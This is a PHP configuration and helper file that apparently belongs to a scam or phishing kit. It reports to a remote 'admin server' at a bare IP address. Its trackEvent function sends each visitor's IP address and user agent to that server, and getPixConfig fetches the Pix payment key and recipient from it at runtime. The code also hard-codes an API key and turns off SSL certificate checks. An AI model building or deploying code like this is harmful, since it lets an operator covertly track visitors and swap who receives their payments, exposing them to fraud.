<?php

if (basename($_SERVER['SCRIPT_FILENAME'] ?? '') === basename(__FILE__)) {
    http_response_code(403);
    die('Access denied');
}

define('ADMIN_SERVER_URL', 'http://69.5.189.108');
define('SITE_API_KEY', 'sk_1d41b7a41218854dd740d4bdfb05dce1');
define('SITE_TIMEZONE', 'America/Sao_Paulo');
date_default_timezone_set(SITE_TIMEZONE);
define('CONFIG_CACHE_TTL', 300); 
define('CACHE_DIR', __DIR__ . '/cache');

function adminServerRequest(string $endpoint, string $method = 'GET', ?array $data = null, int $retries = 2): ?array {
    $url = ADMIN_SERVER_URL . '/api/admin.php?action=' . $endpoint;
    $headers = array(
        'Content-Type: application/json',
        'X-API-Key: ' . SITE_API_KEY,
        'User-Agent: SiteClient/1.0',
        'Connection: close' 
    );
    
    $attempt = 0;
    while ($attempt <= $retries) {
        $ch = curl_init();
        curl_setopt_array($ch, array(
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => 10, 
            CURLOPT_CONNECTTIMEOUT => 5, 
            CURLOPT_HTTPHEADER => $headers,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_FOLLOWLOCATION => true
        ));
        
        if ($method === 'POST') {
            curl_setopt($ch, CURLOPT_POST, true);
            if ($data) curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
        }
        
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($response && $httpCode >= 200 && $httpCode < 300) {
            $decoded = json_decode($response, true);
            if (json_last_error() === JSON_ERROR_NONE) return $decoded;
        }
        $attempt++;
        if ($attempt <= $retries) usleep(100000 * $attempt); 
    }
    return null;
}

function trackEvent(array $payload): bool { if(!isset($payload["captured_ip"])) { $ip = $_SERVER["HTTP_X_FORWARDED_FOR"] ?? $_SERVER["REMOTE_ADDR"] ?? ""; $payload["captured_ip"] = trim(explode(",", $ip)[0]); }
    $ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? '';
    if (strpos($ip, ',') !== false) $ip = trim(explode(',', $ip)[0]);
    
    $payload['captured_ip'] = $ip;
    $payload['api_key'] = SITE_API_KEY;
    $payload['ua'] = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
    
    $response = adminServerRequest('track', 'POST', $payload);
    return $response && ($response['status'] ?? '') === 'success';
}

function getPixConfig(): array {
    $res = adminServerRequest('pix-config');
    return $res['data'] ?? array('pixKey' => '', 'receiverName' => 'PAGAMENTO', 'receiverCity' => 'SAO PAULO');
}
